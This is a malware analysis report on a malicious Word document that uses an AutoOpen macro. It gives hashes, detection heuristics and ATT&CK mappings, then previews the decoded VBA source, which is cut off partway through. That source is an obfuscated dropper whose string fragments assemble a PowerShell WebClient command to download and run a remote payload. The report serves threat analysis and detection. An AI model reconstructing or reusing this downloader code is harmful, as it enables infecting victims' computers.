Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 290dc3abf2bdb619…

MALICIOUS

Office (OLE)

99.9 KB Created: 2018-02-08 13:27:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 8e6f94a7555cc00a383930028ca9914d SHA-1: 11d342ea41c305945e9a2a8cf07c5d21d47c7366 SHA-256: 290dc3abf2bdb619f6c8d2abf79d12483dc8b0ae420ab5ccfca178baeece5089
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a legacy WordBasic auto-exec macro named AutoOpen, which is designed to execute arbitrary code. The critical heuristic firing for Shell() call in VBA confirms that the macro attempts to run an external command. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests a phishing lure, likely involving image-based content, and the embedded URL may be related to the payload delivery.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://empresGo3+Go3asGo3+Go3maissau In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22789 bytes
SHA-256: fa3279bf2864515aaed2f6628d6a57b5ea3f69f99c5fe69f8c3889441dfc4ad6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NOLuPwUpYIZO"
Sub AutoOpen()
On Error Resume Next
ftOwMiZna = JnRmFrdRrsWSwr - ELLvjwAHjtWC / (6798045 + fwwzdKusK - 7575552 + IOkrbNvWRI)
XNsrzJfit = puBMuaSUhmLA - bbkPQHfafS / (1444996 + lDIjBPJR - 816557 + NNYwBvbpizW)
oRPNuPaNI = ctEJWJnf - CjUwNWqTGk / (9906137 + oKkwmsTGAjDvU - 7281237 + UnilnJGunU)
Application.Run "urjTlXbAJ", ldkwWcCmmG
VCqEvTdJT = jTMkQUYXTjYbb - VjcwMjh / (3017230 + cQqcCEPZmBwkAb - 8884670 + SkibGvtani)
PrfwmGTWj = arVTDHmadS - EidtwwoqjX / (3085993 + UoXtpOrRiraua - 2838546 + XzJSwVMKJ)
End Sub
Function ldkwWcCmmG()
On Error Resume Next
NCTBrZKjXj = XTWJszZAtwt - wVGFzXQbTQ / (3902557 + dzzuTTUYI - 1017571 + OuQwBkcTBUp)
EOzHEA = ppivdzPLH - FfswfjaiUNsqsK / (6806671 + PqqzTwoiJE - 8027373 + qZsuXPpkFC)
ILwBHbFY = vsWAbYw - TLEkYUJfIrKoar / (429997 + vVwSdVzSMlvFw - 9216022 + JLGWMmpT)
VKfndJ = KdMzOLPKwjuAQr + Mid(("bS(('& ( jIlVErBosEpREfErENCe.tOsTriNg()[1,3]+AnWJUZiU"), 3, 44)
wowQbZhfubi = GZjUzMm - nYEiMfAdTU / (8081776 + FCYDtpG - 4476737 + HrONqFkimZzASj)
RlfpRSEn = KBTMukK - AizEAcbHFOYj / (6369755 + VWaQwhvqBnWXt - 8478121 + ucOwIOfrBj)
GScbIVl = KRtltAU - fzmildnKhL / (6549096 + ijlLmKjYbqi - 4714837 + wWiwPtWDYMYH)
ULGoBoGjY = OjjsvOiEqj + Mid(("YSjNjtI3uston.cGo3+dZam"), 8, 12)
YjNAdizB = vtoSOwpGJ - RRLZKWNEn / (6578556 + EXszFacuw - 2942338 + KFIfXFtBm)
DdpBz = KqjNHjJF - dLBAqVwTJ / (4199935 + LKzAHGRi - 9734086 + LlvDujMl)
ujSabFEFnQB = uTpjmEJFRJbmkf - BztfGBPiGKR / (4939036 + zwpjiLb - 8640359 + dLwzBzUWVb)
HEHTjERYDG = cTUEzfTGTbfhzj + Mid(("qhSNiex(NUztGGpwzGYuvi"), 5, 4)
AYBWJWJAu = pjWUfEHVUsE - EhfWhjJAQJ / (6872787 + qTjvCBDDPwDmH - 8295207 + ttiAiQCBo)
wabGAHai = YFzVwOfzhd - UMTSpAJH / (5613255 + OqSPGmJFYoSvZ - 5828550 + FiTiYmaNFZjKhp)
iSqLNRAs = tuLdJPiFp - VuIptYnoWjR / (8150134 + EGodNqZbcP - 1532832 + XkvVjaddFCsRXL)
LStqzDGBmp = VBunjiw + Mid(("Gdws,[chAr]92-Re'+'pLaCE  ([chAr]8p1T+p1T7+[ch'+'Ar]81+[chAr]p1T+p1T49),[c'+'hAr'+']96-Crepm7T+m7Tl'+'acE  Go3NK1Go3,[chAr]36  -CreplacE Go3FK9G'+'o3,[p1TUTSBEUa"), 5, 150)
jCREDozfAV = XUmROPBt - AuVorTqIoMT / (369911 + XFBpfERJJ - 8560517 + dYAuJON)
iZWzZaKwvo = INQdqLC - UzKpBEJ / (9469547 + QZjwcVrBSLSS - 9201396 + ZwPtAGbKdcCzLw)
EqjSu = BYPDNsp - HjrZcXAkjYw / (7172585 + mLIqFFvGuiKtz - 3406888 + CPiGjUIMJhzn)
ouBbmtmOXm = tWKGwCV + Mid(("zpZKociL6uHQfzGo3+Go3p1T+p1T6 cfwRLGtEsAoGBFzENHNTFWNdboisvrI"), 9, 22)
rFMqQRi = uXNBhfcFNiUpr - WizzJGR / (3442002 + bFzjnCavC - 5241129 + pzuKcBWhPK)
YtGPrBkhI = jWLplNHDAVcIlv - zpDnmROXLYjo / (4451194 + kjCEcWbU - 9607787 + MnzawNoJO)
VQjHuDj = CjibXhUwzQCYk - QlaEIZIirlawRo / (4753400 + jZZiFDFajvBcVh - 2964662 + DEJNmkBpjXptB)
KYAvpti = sSYNMLPMHMH + Mid(("wbjlnzcPPYK+Go3+Go3f'+'z6Gp1T+p1To3p1T+p1T+Go3wfz6+fz6Go3+Go3-objectfGo3+Go3z6) System.NGo3+Go3et.We'+'bClGo3+Go3i'+'Go3+Go3enp1T+p1TGo3+Go3m7T+m7Tt;NK1NSBGo3+Go3 dURqNjATkkfcCMtNkqcVDHhESFb"), 12, 152)
AWkhV = zXNXjJKWmuM - LLzYkviNLZH / (5948768 + CUAmpzPwhm - 2461189 + SCOiXOiDCOohD)
RDdMa = KHzUaQiBd - KjzzzidYmkRsT / (6717781 + KcbTnfSibnHwN - 2370752 + FQZYUnQhGUkQvT)
zULqJfv = RnQfPnHipKrAWJ - lQMqiBTuOBuvU / (9790296 + PXPiWUj - 6521942 + IwijOdnuXRiUDE)
HvwKUc = QjZAjcwFpN + Mid(("CqzNi+m7'+'T1i'+'WQ1NgFG'+'o3+Go3K9()Go3+'+'Go3SbdwaISlF"), 6, 42)
NcnFnfKPq = nUFiPijTkfkNz - DQiLSajYcd / (703509 + PMwwUJCDkwd - 7278808 + WIcOMRQWUjTEj)
nQDOPwRPJ = KHPsbio - TUnLbLwmG / (7360417 + YvSHJPLnFucisk - 1509203 + vVECGwEoHaAqF)
dApnjJjYV = hchHKFrAFc - rjXrqvbTS / (174535 + CkpZrdAjP - 4002156 + fMAzkZCAvQbm)
ikTmwBmKz = vwsCiVsmjmuUk + Mid(("GlZzVqARZPKEFzI.cop1T+p1TGo3+Go3m/hsJDiSGo'+'3+Go3/fz6.Splim7T+m7TtGo3+Go3(fz6?Go3+Go3fz6Go3+Go3);NKGo3+Go31SDC = NK1eGo3+Go3nv:Go3+Go3publicGo3+Go3 + fznbUoFEHi"), 16, 138)
koDDJjDBN = ZzRlOOzVN - KEKqtKBRRFAbza / (2098624 + fjDpzuGw 
... (truncated)

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